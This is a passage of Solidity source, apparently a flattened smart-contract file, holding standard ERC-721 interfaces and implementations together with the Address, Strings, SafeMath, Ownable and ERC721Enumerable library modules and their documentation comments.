* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns(address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns(bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns(string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns(string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns(string memory);
}
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns(bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns(bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns(uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns(address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns(string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns(string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns(string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns(string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns(address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns(bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns(bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns(bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns(bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns(bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual { }
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns(bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size:= extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount } ("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns(bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns(bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns(bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns(bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value } (data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns(bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns(bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns(bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns(bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size:= mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns(bytes4);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns(uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns(uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns(uint256);
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns(string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns(string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns(string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns(bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns(bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns(bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns(bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns(bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns(uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns(uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns(uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns(uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns(uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns(uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns(address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns(bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns(uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns(uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns(uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
